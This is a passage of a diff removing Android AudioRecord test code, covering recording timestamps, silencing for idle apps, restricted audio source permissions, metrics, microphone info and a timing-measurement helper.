-                Thread.sleep(SLEEP_AFTER_STOP_FOR_INACTIVITY_MS);
-
-                AudioTimestamp stopTs = new AudioTimestamp();
-                AudioTimestamp stopTsBoot = new AudioTimestamp();
-
-                assertEquals(AudioRecord.SUCCESS,
-                        record.getTimestamp(stopTs, AudioTimestamp.TIMEBASE_MONOTONIC));
-                assertEquals(AudioRecord.SUCCESS,
-                        record.getTimestamp(stopTsBoot, AudioTimestamp.TIMEBASE_BOOTTIME));
-
-                // printTimestamp("timestamp Monotonic", ts);
-                // printTimestamp("timestamp Boottime", tsBoot);
-                // Log.d(TEST_NAME, "startTime Monotonic " + startTime);
-                // Log.d(TEST_NAME, "startTime Boottime " + startTimeBoot);
-
-                assertEquals(stopTs.framePosition, stopTsBoot.framePosition);
-                assertTrue(stopTs.framePosition >= targetFrames);
-                assertTrue(stopTs.nanoTime - trackStartTimeNs > RECORD_TIME_NS);
-                assertTrue(stopTsBoot.nanoTime - trackStartTimeBootNs > RECORD_TIME_NS);
-
-                tsVerifier.verifyAndLog(trackStartTimeNs, "test_timestamp" /* logName */);
-            }
-        } finally {
-            if (record != null) {
-                record.release();
-                record = null;
-            }
-        }
-    }
-
-    @Test
-    public void testRecordNoDataForIdleUids() throws Exception {
-        if (!hasMicrophone()) {
-            return;
-        }
-
-        AudioRecord recorder = null;
-        String packageName = InstrumentationRegistry.getTargetContext().getPackageName();
-        int currentUserId = Process.myUserHandle().getIdentifier();
-
-        // We will record audio for 20 sec from active and idle state expecting
-        // the recording from active state to have data while from idle silence.
-        try {
-            // Ensure no race and UID active
-            makeMyUidStateActive(packageName, currentUserId);
-
-            // Setup a recorder
-            final AudioRecord candidateRecorder = new AudioRecord.Builder()
-                    .setAudioSource(MediaRecorder.AudioSource.MIC)
-                    .setBufferSizeInBytes(1024)
-                    .setAudioFormat(new AudioFormat.Builder()
-                            .setSampleRate(8000)
-                            .setChannelMask(AudioFormat.CHANNEL_IN_MONO)
-                            .setEncoding(AudioFormat.ENCODING_PCM_16BIT)
-                            .build())
-                    .build();
-
-            // Unleash it :P
-            candidateRecorder.startRecording();
-            recorder = candidateRecorder;
-
-            final int sampleCount = AudioHelper.frameCountFromMsec(6000,
-                    candidateRecorder.getFormat()) * candidateRecorder.getFormat()
-                    .getChannelCount();
-            final ShortBuffer buffer = ShortBuffer.allocate(sampleCount);
-
-            // Read five seconds of data
-            readDataTimed(recorder, 5000, buffer);
-            // Ensure we read non-empty bytes. Some systems only
-            // emulate audio devices and do not provide any actual audio data.
-            if (isAudioSilent(buffer)) {
-                Log.w(TAG, "Recording does not produce audio data");
-                return;
-            }
-
-            // Start clean
-            buffer.clear();
-            // Force idle the package
-            makeMyUidStateIdle(packageName, currentUserId);
-            // Read five seconds of data
-            readDataTimed(recorder, 5000, buffer);
-            // Ensure we read empty bytes
-            assertTrue("Recording was not silenced while UID idle", isAudioSilent(buffer));
-
-            // Start clean
-            buffer.clear();
-            // Reset to active
-            makeMyUidStateActive(packageName, currentUserId);
-            // Read five seconds of data
-            readDataTimed(recorder, 5000, buffer);
-            // Ensure we read non-empty bytes
-            assertFalse("Recording was silenced while UID active", isAudioSilent(buffer));
-        } finally {
-            if (recorder != null) {
-                recorder.stop();
-                recorder.release();
-            }
-            resetMyUidState(packageName, currentUserId);
-        }
-    }
-
-    @Test
-    public void testRestrictedAudioSourcePermissions() throws Exception {
-        // Make sure that the following audio sources cannot be used by apps that
-        // don't have the CAPTURE_AUDIO_OUTPUT permissions:
-        // - VOICE_CALL,
-        // - VOICE_DOWNLINK
-        // - VOICE_UPLINK
-        // - REMOTE_SUBMIX
-        // - ECHO_REFERENCE  - 1997
-        // - RADIO_TUNER - 1998
-        // - HOTWORD - 1999
-        // The attempt to build an AudioRecord with those sources should throw either
-        // UnsupportedOperationException or IllegalArgumentException exception.
-        final int[] restrictedAudioSources = new int [] {
-            MediaRecorder.AudioSource.VOICE_CALL,
-            MediaRecorder.AudioSource.VOICE_DOWNLINK,
-            MediaRecorder.AudioSource.VOICE_UPLINK,
-            MediaRecorder.AudioSource.REMOTE_SUBMIX,
-            1997,
-            1998,
-            1999
-        };
-
-        for (int source : restrictedAudioSources) {
-            // AudioRecord.Builder should fail when trying to use
-            // one of the voice call audio sources.
-            try {
-                AudioRecord ar = new AudioRecord.Builder()
-                 .setAudioSource(source)
-                 .setAudioFormat(new AudioFormat.Builder()
-                         .setEncoding(AudioFormat.ENCODING_PCM_16BIT)
-                         .setSampleRate(8000)
-                         .setChannelMask(AudioFormat.CHANNEL_IN_MONO)
-                         .build())
-                 .build();
-                fail("testRestrictedAudioSourcePermissions: no exception thrown for source: "
-                        + source);
-            } catch (Exception e) {
-                Log.i(TAG, "Exception: " + e);
-                if (!UnsupportedOperationException.class.isInstance(e)
-                        && !IllegalArgumentException.class.isInstance(e)) {
-                    fail("testRestrictedAudioSourcePermissions: no exception thrown for source: "
-                        + source + " Exception:" + e);
-                }
-            }
-        }
-    }
-
-    @Test
-    public void testMediaMetrics() throws Exception {
-        if (!hasMicrophone()) {
-            return;
-        }
-
-        AudioRecord record = null;
-        try {
-            final int RECORD_ENCODING = AudioFormat.ENCODING_PCM_16BIT;
-            final int RECORD_CHANNEL_MASK = AudioFormat.CHANNEL_IN_MONO;
-            final int RECORD_SAMPLE_RATE = 8000;
-            final AudioFormat format = new AudioFormat.Builder()
-                    .setSampleRate(RECORD_SAMPLE_RATE)
-                    .setChannelMask(RECORD_CHANNEL_MASK)
-                    .setEncoding(RECORD_ENCODING)
-                    .build();
-
-            // Setup a recorder
-            record = new AudioRecord.Builder()
-                .setAudioSource(MediaRecorder.AudioSource.MIC)
-                .setAudioFormat(format)
-                .build();
-
-            final PersistableBundle metrics = record.getMetrics();
-
-            assertNotNull("null metrics", metrics);
-            AudioHelper.assertMetricsKeyEquals(metrics, AudioRecord.MetricsConstants.ENCODING,
-                    new String("AUDIO_FORMAT_PCM_16_BIT"));
-            AudioHelper.assertMetricsKeyEquals(metrics, AudioRecord.MetricsConstants.SOURCE,
-                    new String("AUDIO_SOURCE_MIC"));
-            AudioHelper.assertMetricsKeyEquals(metrics, AudioRecord.MetricsConstants.SAMPLERATE,
-                    new Integer(RECORD_SAMPLE_RATE));
-            AudioHelper.assertMetricsKeyEquals(metrics, AudioRecord.MetricsConstants.CHANNELS,
-                    new Integer(AudioFormat.channelCountFromInChannelMask(RECORD_CHANNEL_MASK)));
-
-            // deprecated, value ignored.
-            AudioHelper.assertMetricsKey(metrics, AudioRecord.MetricsConstants.LATENCY);
-
-            // TestApi:
-            AudioHelper.assertMetricsKeyEquals(metrics, AudioRecord.MetricsConstants.CHANNEL_MASK,
-                    new Long(RECORD_CHANNEL_MASK));
-            AudioHelper.assertMetricsKeyEquals(metrics, AudioRecord.MetricsConstants.FRAME_COUNT,
-                    new Integer(record.getBufferSizeInFrames()));
-            AudioHelper.assertMetricsKeyEquals(metrics, AudioRecord.MetricsConstants.DURATION_MS,
-                    new Double(0.));
-            AudioHelper.assertMetricsKeyEquals(metrics, AudioRecord.MetricsConstants.START_COUNT,
-                    new Long(0));
-
-            // TestApi: no particular value checking.
-            AudioHelper.assertMetricsKey(metrics, AudioRecord.MetricsConstants.PORT_ID);
-            AudioHelper.assertMetricsKey(metrics, AudioRecord.MetricsConstants.ATTRIBUTES);
-        } finally {
-            if (record != null) {
-                record.release();
-            }
-        }
-    }
-
-    private void printMicrophoneInfo(MicrophoneInfo microphone) {
-        Log.i(TAG, "deviceId:" + microphone.getDescription());
-        Log.i(TAG, "portId:" + microphone.getId());
-        Log.i(TAG, "type:" + microphone.getType());
-        Log.i(TAG, "address:" + microphone.getAddress());
-        Log.i(TAG, "deviceLocation:" + microphone.getLocation());
-        Log.i(TAG, "deviceGroup:" + microphone.getGroup()
-            + " index:" + microphone.getIndexInTheGroup());
-        MicrophoneInfo.Coordinate3F position = microphone.getPosition();
-        Log.i(TAG, "position:" + position.x + "," + position.y + "," + position.z);
-        MicrophoneInfo.Coordinate3F orientation = microphone.getOrientation();
-        Log.i(TAG, "orientation:" + orientation.x + "," + orientation.y + "," + orientation.z);
-        Log.i(TAG, "frequencyResponse:" + microphone.getFrequencyResponse());
-        Log.i(TAG, "channelMapping:" + microphone.getChannelMapping());
-        Log.i(TAG, "sensitivity:" + microphone.getSensitivity());
-        Log.i(TAG, "max spl:" + microphone.getMaxSpl());
-        Log.i(TAG, "min spl:" + microphone.getMinSpl());
-        Log.i(TAG, "directionality:" + microphone.getDirectionality());
-        Log.i(TAG, "******");
-    }
-
-    @CddTest(requirement="5.4.1/C-1-4")
-    @Test
-    public void testGetActiveMicrophones() throws Exception {
-        if (!hasMicrophone()) {
-            return;
-        }
-        mAudioRecord.startRecording();
-        try {
-            Thread.sleep(1000);
-        } catch (InterruptedException e) {
-        }
-        List<MicrophoneInfo> activeMicrophones = mAudioRecord.getActiveMicrophones();
-        assertTrue(activeMicrophones.size() > 0);
-        for (MicrophoneInfo activeMicrophone : activeMicrophones) {
-            printMicrophoneInfo(activeMicrophone);
-        }
-    }
-
-    private Executor mExec = new Executor() {
-        @Override
-        public void execute(Runnable command) {
-            command.run();
-        }
-    };
-
-    @Test
-    public void testAudioRecordInfoCallback() throws Exception {
-        if (!hasMicrophone()) {
-            return;
-        }
-        AudioRecordingConfigurationTest.MyAudioRecordingCallback callback =
-                new AudioRecordingConfigurationTest.MyAudioRecordingCallback(
-                        mAudioRecord.getAudioSessionId(), MediaRecorder.AudioSource.DEFAULT);
-        mAudioRecord.registerAudioRecordingCallback(mExec, callback);
-        mAudioRecord.startRecording();
-        assertEquals(AudioRecord.RECORDSTATE_RECORDING, mAudioRecord.getRecordingState());
-
-        callback.await(TEST_TIMING_TOLERANCE_MS);
-        assertTrue(callback.mCalled);
-        assertTrue(callback.mConfigs.size() <= 1);
-        if (callback.mConfigs.size() == 1) {
-            checkRecordingConfig(callback.mConfigs.get(0));
-        }
-
-        Thread.sleep(RECORD_DURATION_MS);
-        mAudioRecord.unregisterAudioRecordingCallback(callback);
-    }
-
-    @Test
-    public void testGetActiveRecordingConfiguration() throws Exception {
-        if (!hasMicrophone()) {
-            return;
-        }
-        mAudioRecord.startRecording();
-        assertEquals(AudioRecord.RECORDSTATE_RECORDING, mAudioRecord.getRecordingState());
-
-        try {
-            Thread.sleep(RECORD_DURATION_MS);
-        } catch (InterruptedException e) {
-        }
-
-        AudioRecordingConfiguration config = mAudioRecord.getActiveRecordingConfiguration();
-        checkRecordingConfig(config);
-
-        mAudioRecord.release();
-        // test no exception is thrown when querying immediately after release()
-        // which is not a synchronous operation
-        config = mAudioRecord.getActiveRecordingConfiguration();
-        try {
-            Thread.sleep(TEST_TIMING_TOLERANCE_MS);
-        } catch (InterruptedException e) {
-        }
-        assertNull("Recording configuration not null after release",
-                mAudioRecord.getActiveRecordingConfiguration());
-    }
-
-    private static void checkRecordingConfig(AudioRecordingConfiguration config) {
-        assertNotNull(config);
-        AudioFormat format = config.getClientFormat();
-        assertEquals(AudioFormat.CHANNEL_IN_MONO, format.getChannelMask());
-        assertEquals(AudioFormat.ENCODING_PCM_16BIT, format.getEncoding());
-        assertEquals(SAMPLING_RATE_HZ, format.getSampleRate());
-        assertEquals(MediaRecorder.AudioSource.MIC, config.getAudioSource());
-        assertNotNull(config.getAudioDevice());
-        assertNotNull(config.getClientEffects());
-        assertNotNull(config.getEffects());
-        // no requirement here, just testing the API
-        config.isClientSilenced();
-    }
-
-    private AudioRecord createAudioRecord(
-            int audioSource, int sampleRateInHz,
-            int channelConfig, int audioFormat, int bufferSizeInBytes,
-            boolean auditRecording, boolean isChannelIndex) {
-        final AudioRecord record;
-        if (auditRecording) {
-            record = new AudioHelper.AudioRecordAudit(
-                    audioSource, sampleRateInHz, channelConfig,
-                    audioFormat, bufferSizeInBytes, isChannelIndex);
-        } else if (isChannelIndex) {
-            record = new AudioRecord.Builder()
-                    .setAudioFormat(new AudioFormat.Builder()
-                            .setChannelIndexMask(channelConfig)
-                            .setEncoding(audioFormat)
-                            .setSampleRate(sampleRateInHz)
-                            .build())
-                    .setBufferSizeInBytes(bufferSizeInBytes)
-                    .build();
-        } else {
-            record = new AudioRecord(audioSource, sampleRateInHz, channelConfig,
-                    audioFormat, bufferSizeInBytes);
-        }
-
-        // did we get the AudioRecord we expected?
-        final AudioFormat format = record.getFormat();
-        assertEquals(isChannelIndex ? channelConfig : AudioFormat.CHANNEL_INVALID,
-                format.getChannelIndexMask());
-        assertEquals(isChannelIndex ? AudioFormat.CHANNEL_INVALID : channelConfig,
-                format.getChannelMask());
-        assertEquals(audioFormat, format.getEncoding());
-        assertEquals(sampleRateInHz, format.getSampleRate());
-        final int frameSize =
-                format.getChannelCount() * AudioFormat.getBytesPerSample(audioFormat);
-        // our native frame count cannot be smaller than our minimum buffer size request.
-        assertTrue(record.getBufferSizeInFrames() * frameSize >= bufferSizeInBytes);
-        return record;
-    }
-
-    private void doTest(String reportName, boolean localRecord, boolean customHandler,
-            int periodsPerSecond, int markerPeriodsPerSecond,
-            boolean useByteBuffer, boolean blocking,
-            final boolean auditRecording, final boolean isChannelIndex,
-            final int TEST_SR, final int TEST_CONF, final int TEST_FORMAT) throws Exception {
-        final int TEST_TIME_MS = auditRecording ? 60000 : 2000;
-        doTest(reportName, localRecord, customHandler, periodsPerSecond, markerPeriodsPerSecond,
-                useByteBuffer, blocking, auditRecording, isChannelIndex,
-                TEST_SR, TEST_CONF, TEST_FORMAT, TEST_TIME_MS);
-    }
-    private void doTest(String reportName, boolean localRecord, boolean customHandler,
-            int periodsPerSecond, int markerPeriodsPerSecond,
-            boolean useByteBuffer, boolean blocking,
-            final boolean auditRecording, final boolean isChannelIndex,
-            final int TEST_SR, final int TEST_CONF, final int TEST_FORMAT, final int TEST_TIME_MS)
-            throws Exception {
-        if (!hasMicrophone()) {
-            return;
-        }
-        // audit recording plays back recorded audio, so use longer test timing
-        final int TEST_SOURCE = MediaRecorder.AudioSource.DEFAULT;
-        mIsHandleMessageCalled = false;
-
-        // For channelIndex use one frame in bytes for buffer size.
-        // This is adjusted to the minimum buffer size by native code.
-        final int bufferSizeInBytes = isChannelIndex ?
-                (AudioFormat.getBytesPerSample(TEST_FORMAT)
-                        * AudioFormat.channelCountFromInChannelMask(TEST_CONF)) :
-                AudioRecord.getMinBufferSize(TEST_SR, TEST_CONF, TEST_FORMAT);
-        assertTrue(bufferSizeInBytes > 0);
-
-        final AudioRecord record;
-        final AudioHelper
-                .MakeSomethingAsynchronouslyAndLoop<AudioRecord> makeSomething;
-
-        if (localRecord) {
-            makeSomething = null;
-            record = createAudioRecord(TEST_SOURCE, TEST_SR, TEST_CONF,
-                    TEST_FORMAT, bufferSizeInBytes, auditRecording, isChannelIndex);
-        } else {
-            makeSomething =
-                    new AudioHelper.MakeSomethingAsynchronouslyAndLoop<AudioRecord>(
-                            new AudioHelper.MakesSomething<AudioRecord>() {
-                                @Override
-                                public AudioRecord makeSomething() {
-                                    return createAudioRecord(TEST_SOURCE, TEST_SR, TEST_CONF,
-                                            TEST_FORMAT, bufferSizeInBytes, auditRecording,
-                                            isChannelIndex);
-                                }
-                            }
-                            );
-           // create AudioRecord on different thread's looper.
-           record = makeSomething.make();
-        }
-
-        // AudioRecord creation may have silently failed, check state now
-        assertEquals(AudioRecord.STATE_INITIALIZED, record.getState());
-
-        final MockOnRecordPositionUpdateListener listener;
-        if (customHandler) {
-            listener = new MockOnRecordPositionUpdateListener(record, mHandler);
-        } else {
-            listener = new MockOnRecordPositionUpdateListener(record);
-        }
-
-        final int updatePeriodInFrames = (periodsPerSecond == 0)
-                ? 0 : TEST_SR / periodsPerSecond;
-        // After starting, there is no guarantee when the first frame of data is read.
-        long firstSampleTime = 0;
-
-        // blank final variables: all successful paths will initialize the times.
-        // this must be declared here for visibility as they are set within the try block.
-        final long endTime;
-        final long startTime;
-        final long stopRequestTime;
-        final long stopTime;
-        final long coldInputStartTime;
-
-        try {
-            if (markerPeriodsPerSecond != 0) {
-                mMarkerPeriodInFrames = TEST_SR / markerPeriodsPerSecond;
-                mMarkerPosition = mMarkerPeriodInFrames;
-                assertEquals(AudioRecord.SUCCESS,
-                        record.setNotificationMarkerPosition(mMarkerPosition));
-            } else {
-                mMarkerPeriodInFrames = 0;
-            }
-
-            assertEquals(AudioRecord.SUCCESS,
-                    record.setPositionNotificationPeriod(updatePeriodInFrames));
-
-            // at the start, there is no timestamp.
-            AudioTimestamp startTs = new AudioTimestamp();
-            assertEquals(AudioRecord.ERROR_INVALID_OPERATION,
-                    record.getTimestamp(startTs, AudioTimestamp.TIMEBASE_MONOTONIC));
-
-            listener.start(TEST_SR);
-            record.startRecording();
-            assertEquals(AudioRecord.RECORDSTATE_RECORDING, record.getRecordingState());
-            startTime = System.currentTimeMillis();
-
-            // For our tests, we could set test duration by timed sleep or by # frames received.
-            // Since we don't know *exactly* when AudioRecord actually begins recording,
-            // we end the test by # frames read.
-            final int numChannels =  AudioFormat.channelCountFromInChannelMask(TEST_CONF);
-            final int bytesPerSample = AudioFormat.getBytesPerSample(TEST_FORMAT);
-            final int bytesPerFrame = numChannels * bytesPerSample;
-            // careful about integer overflow in the formula below:
-            final int targetFrames = (int)((long)TEST_TIME_MS * TEST_SR / 1000);
-            final int targetSamples = targetFrames * numChannels;
-            final int BUFFER_FRAMES = 512;
-            final int BUFFER_SAMPLES = BUFFER_FRAMES * numChannels;
-            // TODO: verify behavior when buffer size is not a multiple of frame size.
-
-            int startTimeAtFrame = 0;
-            int samplesRead = 0;
-            if (useByteBuffer) {
-                ByteBuffer byteBuffer =
-                        ByteBuffer.allocateDirect(BUFFER_SAMPLES * bytesPerSample);
-                while (samplesRead < targetSamples) {
-                    // the first time through, we read a single frame.
-                    // this sets the recording anchor position.
-                    int amount = samplesRead == 0 ? numChannels :
-                        Math.min(BUFFER_SAMPLES, targetSamples - samplesRead);
-                    amount *= bytesPerSample;    // in bytes
-                    // read always places data at the start of the byte buffer with
-                    // position and limit are ignored.  test this by setting
-                    // position and limit to arbitrary values here.
-                    final int lastPosition = 7;
-                    final int lastLimit = 13;
-                    byteBuffer.position(lastPosition);
-                    byteBuffer.limit(lastLimit);
-                    int ret = blocking ? record.read(byteBuffer, amount) :
-                        record.read(byteBuffer, amount, AudioRecord.READ_NON_BLOCKING);
-                    // so long as amount requested in bytes is a multiple of the frame size
-                    // we expect the byte buffer request to be filled.  Caution: the
-                    // byte buffer data will be in native endian order, not Java order.
-                    if (blocking) {
-                        assertEquals(amount, ret);
-                    } else {
-                        assertTrue("0 <= " + ret + " <= " + amount,
-                                0 <= ret && ret <= amount);
-                    }
-                    // position, limit are not changed by read().
-                    assertEquals(lastPosition, byteBuffer.position());
-                    assertEquals(lastLimit, byteBuffer.limit());
-                    if (samplesRead == 0 && ret > 0) {
-                        firstSampleTime = System.currentTimeMillis();
-                    }
-                    samplesRead += ret / bytesPerSample;
-                    if (startTimeAtFrame == 0 && ret > 0 &&
-                            record.getTimestamp(startTs, AudioTimestamp.TIMEBASE_MONOTONIC) ==
-                            AudioRecord.SUCCESS) {
-                        startTimeAtFrame = samplesRead / numChannels;
-                    }
-                }
-            } else {
-                switch (TEST_FORMAT) {
-                case AudioFormat.ENCODING_PCM_8BIT: {
-                    // For 8 bit data, use bytes
-                    byte[] byteData = new byte[BUFFER_SAMPLES];
-                    while (samplesRead < targetSamples) {
-                        // the first time through, we read a single frame.
-                        // this sets the recording anchor position.
-                        int amount = samplesRead == 0 ? numChannels :
-                            Math.min(BUFFER_SAMPLES, targetSamples - samplesRead);
-                        int ret = blocking ? record.read(byteData, 0, amount) :
-                            record.read(byteData, 0, amount, AudioRecord.READ_NON_BLOCKING);
-                        if (blocking) {
-                            assertEquals(amount, ret);
-                        } else {
-                            assertTrue("0 <= " + ret + " <= " + amount,
-                                    0 <= ret && ret <= amount);
-                        }
-                        if (samplesRead == 0 && ret > 0) {
-                            firstSampleTime = System.currentTimeMillis();
-                        }
-                        samplesRead += ret;
-                        if (startTimeAtFrame == 0 && ret > 0 &&
-                                record.getTimestamp(startTs, AudioTimestamp.TIMEBASE_MONOTONIC) ==
-                                AudioRecord.SUCCESS) {
-                            startTimeAtFrame = samplesRead / numChannels;
-                        }
-                    }
-                } break;
-                case AudioFormat.ENCODING_PCM_16BIT: {
-                    // For 16 bit data, use shorts
-                    short[] shortData = new short[BUFFER_SAMPLES];
-                    while (samplesRead < targetSamples) {
-                        // the first time through, we read a single frame.
-                        // this sets the recording anchor position.
-                        int amount = samplesRead == 0 ? numChannels :
-                            Math.min(BUFFER_SAMPLES, targetSamples - samplesRead);
-                        int ret = blocking ? record.read(shortData, 0, amount) :
-                            record.read(shortData, 0, amount, AudioRecord.READ_NON_BLOCKING);
-                        if (blocking) {
-                            assertEquals(amount, ret);
-                        } else {
-                            assertTrue("0 <= " + ret + " <= " + amount,
-                                    0 <= ret && ret <= amount);
-                        }
-                        if (samplesRead == 0 && ret > 0) {
-                            firstSampleTime = System.currentTimeMillis();
-                        }
-                        samplesRead += ret;
-                        if (startTimeAtFrame == 0 && ret > 0 &&
-                                record.getTimestamp(startTs, AudioTimestamp.TIMEBASE_MONOTONIC) ==
-                                AudioRecord.SUCCESS) {
-                            startTimeAtFrame = samplesRead / numChannels;
-                        }
-                    }
-                } break;
-                case AudioFormat.ENCODING_PCM_FLOAT: {
-                    float[] floatData = new float[BUFFER_SAMPLES];
-                    while (samplesRead < targetSamples) {
-                        // the first time through, we read a single frame.
-                        // this sets the recording anchor position.
-                        int amount = samplesRead == 0 ? numChannels :
-                            Math.min(BUFFER_SAMPLES, targetSamples - samplesRead);
-                        int ret = record.read(floatData, 0, amount, blocking ?
-                                AudioRecord.READ_BLOCKING : AudioRecord.READ_NON_BLOCKING);
-                        if (blocking) {
-                            assertEquals(amount, ret);
-                        } else {
-                            assertTrue("0 <= " + ret + " <= " + amount,
-                                    0 <= ret && ret <= amount);
-                        }
-                        if (samplesRead == 0 && ret > 0) {
-                            firstSampleTime = System.currentTimeMillis();
-                        }
-                        samplesRead += ret;
-                        if (startTimeAtFrame == 0 && ret > 0 &&
-                                record.getTimestamp(startTs, AudioTimestamp.TIMEBASE_MONOTONIC) ==
-                                AudioRecord.SUCCESS) {
-                            startTimeAtFrame = samplesRead / numChannels;
-                        }
-                    }
-                } break;
-                }
-            }
-
-            // We've read all the frames, now check the record timing.
-            endTime = System.currentTimeMillis();
-
-            coldInputStartTime = firstSampleTime - startTime;
-            //Log.d(TAG, "first sample time " + coldInputStartTime
-            //        + " test time " + (endTime - firstSampleTime));
-
-            if (coldInputStartTime > 200) {
-                Log.w(TAG, "cold input start time way too long "
-                        + coldInputStartTime + " > 200ms");
-            } else if (coldInputStartTime > 100) {
-                Log.w(TAG, "cold input start time too long "
-                        + coldInputStartTime + " > 100ms");
-            }
-            assertTrue(coldInputStartTime < 5000); // must start within 5 seconds.
-
-            // Verify recording completes within 50 ms of expected test time (typical 20ms)
-            assertEquals(TEST_TIME_MS, endTime - firstSampleTime, auditRecording ?
-                (isLowLatencyDevice() ? 1000 : 2000) : (isLowLatencyDevice() ? 50 : 400));
-
-            // Even though we've read all the frames we want, the events may not be sent to
-            // the listeners (events are handled through a separate internal callback thread).
-            // One must sleep to make sure the last event(s) come in.
-            Thread.sleep(30);
-
-            stopRequestTime = System.currentTimeMillis();
-            record.stop();
-            assertEquals(AudioRecord.RECORDSTATE_STOPPED, record.getRecordingState());
-
-            stopTime = System.currentTimeMillis();
-
-            // stop listening - we should be done.
-            // Caution M behavior and likely much earlier:
-            // we assume no events can happen after stop(), but this may not
-            // always be true as stop can take 100ms to complete (as it may disable
-            // input recording on the hal); thus the event handler may be block with
-            // valid events, issuing right after stop completes. Except for those events,
-            // no other events should show up after stop.
-            // This behavior may change in the future but we account for it here in testing.
-            final long SLEEP_AFTER_STOP_FOR_EVENTS_MS = 30;
-            Thread.sleep(SLEEP_AFTER_STOP_FOR_EVENTS_MS);
-            listener.stop();
-
-            // get stop timestamp
-            AudioTimestamp stopTs = new AudioTimestamp();
-            assertEquals(AudioRecord.SUCCESS,
-                    record.getTimestamp(stopTs, AudioTimestamp.TIMEBASE_MONOTONIC));
-            AudioTimestamp stopTsBoot = new AudioTimestamp();
-            assertEquals(AudioRecord.SUCCESS,
-                    record.getTimestamp(stopTsBoot, AudioTimestamp.TIMEBASE_BOOTTIME));
-
-            // printTimestamp("startTs", startTs);
-            // printTimestamp("stopTs", stopTs);
-            // printTimestamp("stopTsBoot", stopTsBoot);
-            // Log.d(TAG, "time Monotonic " + System.nanoTime());
-            // Log.d(TAG, "time Boottime " + SystemClock.elapsedRealtimeNanos());
-
-            // stop should not reset timestamps
-            assertTrue(stopTs.framePosition >= targetFrames);
-            assertEquals(stopTs.framePosition, stopTsBoot.framePosition);
-            assertTrue(stopTs.nanoTime > 0);
-
-            // timestamps follow a different path than data, so it is conceivable
-            // that first data arrives before the first timestamp is ready.
-            assertTrue(startTimeAtFrame > 0); // we read a start timestamp
-
-            verifyContinuousTimestamps(startTs, stopTs, TEST_SR);
-
-            // clean up
-            if (makeSomething != null) {
-                makeSomething.join();
-            }
-
-        } finally {
-            listener.release();
-            // we must release the record immediately as it is a system-wide
-            // resource needed for other tests.
-            record.release();
-        }
-        if (auditRecording) { // don't check timing if auditing (messes up timing)
-            return;
-        }
-        final int markerPeriods = markerPeriodsPerSecond * TEST_TIME_MS / 1000;
-        final int updatePeriods = periodsPerSecond * TEST_TIME_MS / 1000;
-        final int markerPeriodsMax =
-                markerPeriodsPerSecond * (int)(stopTime - firstSampleTime) / 1000 + 1;
-        final int updatePeriodsMax =
-                periodsPerSecond * (int)(stopTime - firstSampleTime) / 1000 + 1;
-
-        // collect statistics
-        final ArrayList<Integer> markerList = listener.getMarkerList();
-        final ArrayList<Integer> periodicList = listener.getPeriodicList();
-        // verify count of markers and periodic notifications.
-        // there could be an extra notification since we don't stop() immediately
-        // rather wait for potential events to come in.
-        //Log.d(TAG, "markerPeriods " + markerPeriods +
-        //        " markerPeriodsReceived " + markerList.size());
-        //Log.d(TAG, "updatePeriods " + updatePeriods +
-        //        " updatePeriodsReceived " + periodicList.size());
-        if (isLowLatencyDevice()) {
-            assertTrue(TAG + ": markerPeriods " + markerPeriods +
-                    " <= markerPeriodsReceived " + markerList.size() +
-                    " <= markerPeriodsMax " + markerPeriodsMax,
-                    markerPeriods <= markerList.size()
-                    && markerList.size() <= markerPeriodsMax);
-            assertTrue(TAG + ": updatePeriods " + updatePeriods +
-                   " <= updatePeriodsReceived " + periodicList.size() +
-                   " <= updatePeriodsMax " + updatePeriodsMax,
-                    updatePeriods <= periodicList.size()
-                    && periodicList.size() <= updatePeriodsMax);
-        }
-
-        // Since we don't have accurate positioning of the start time of the recorder,
-        // and there is no record.getPosition(), we consider only differential timing
-        // from the first marker or periodic event.
-        final int toleranceInFrames = TEST_SR * 80 / 1000; // 80 ms
-        final int testTimeInFrames = (int)((long)TEST_TIME_MS * TEST_SR / 1000);
-
-        AudioHelper.Statistics markerStat = new AudioHelper.Statistics();
-        for (int i = 1; i < markerList.size(); ++i) {
-            final int expected = mMarkerPeriodInFrames * i;
-            if (markerList.get(i) > testTimeInFrames) {
-                break; // don't consider any notifications when we might be stopping.
-            }
-            final int actual = markerList.get(i) - markerList.get(0);
-            //Log.d(TAG, "Marker: " + i + " expected(" + expected + ")  actual(" + actual
-            //        + ")  diff(" + (actual - expected) + ")"
-            //        + " tolerance " + toleranceInFrames);
-            if (isLowLatencyDevice()) {
-                assertEquals(expected, actual, toleranceInFrames);
-            }
-            markerStat.add((double)(actual - expected) * 1000 / TEST_SR);
-        }
-
-        AudioHelper.Statistics periodicStat = new AudioHelper.Statistics();
-        for (int i = 1; i < periodicList.size(); ++i) {
-            final int expected = updatePeriodInFrames * i;
-            if (periodicList.get(i) > testTimeInFrames) {
-                break; // don't consider any notifications when we might be stopping.
-            }
-            final int actual = periodicList.get(i) - periodicList.get(0);
-            //Log.d(TAG, "Update: " + i + " expected(" + expected + ")  actual(" + actual
-            //        + ")  diff(" + (actual - expected) + ")"
-            //        + " tolerance " + toleranceInFrames);
-            if (isLowLatencyDevice()) {
-                assertEquals(expected, actual, toleranceInFrames);
-            }
-            periodicStat.add((double)(actual - expected) * 1000 / TEST_SR);
-        }
-
-        // report this
-        DeviceReportLog log = new DeviceReportLog(REPORT_LOG_NAME, reportName);
-        log.addValue("start_recording_lag", coldInputStartTime, ResultType.LOWER_BETTER,
-                ResultUnit.MS);
-        log.addValue("stop_execution_time", stopTime - stopRequestTime, ResultType.LOWER_BETTER,
-                ResultUnit.MS);
-        log.addValue("total_record_time_expected", TEST_TIME_MS, ResultType.NEUTRAL, ResultUnit.MS);
-        log.addValue("total_record_time_actual", endTime - firstSampleTime, ResultType.NEUTRAL,
-                ResultUnit.MS);
-        log.addValue("total_markers_expected", markerPeriods, ResultType.NEUTRAL, ResultUnit.COUNT);
-        log.addValue("total_markers_actual", markerList.size(), ResultType.NEUTRAL,
-                ResultUnit.COUNT);
-        log.addValue("total_periods_expected", updatePeriods, ResultType.NEUTRAL, ResultUnit.COUNT);
-        log.addValue("total_periods_actual", periodicList.size(), ResultType.NEUTRAL,
-                ResultUnit.COUNT);
-        log.addValue("average_marker_diff", markerStat.getAvg(), ResultType.LOWER_BETTER,
-                ResultUnit.MS);
-        log.addValue("maximum_marker_abs_diff", markerStat.getMaxAbs(), ResultType.LOWER_BETTER,
-                ResultUnit.MS);
-        log.addValue("average_marker_abs_diff", markerStat.getAvgAbs(), ResultType.LOWER_BETTER,
-                ResultUnit.MS);
-        log.addValue("average_periodic_diff", periodicStat.getAvg(), ResultType.LOWER_BETTER,
-                ResultUnit.MS);
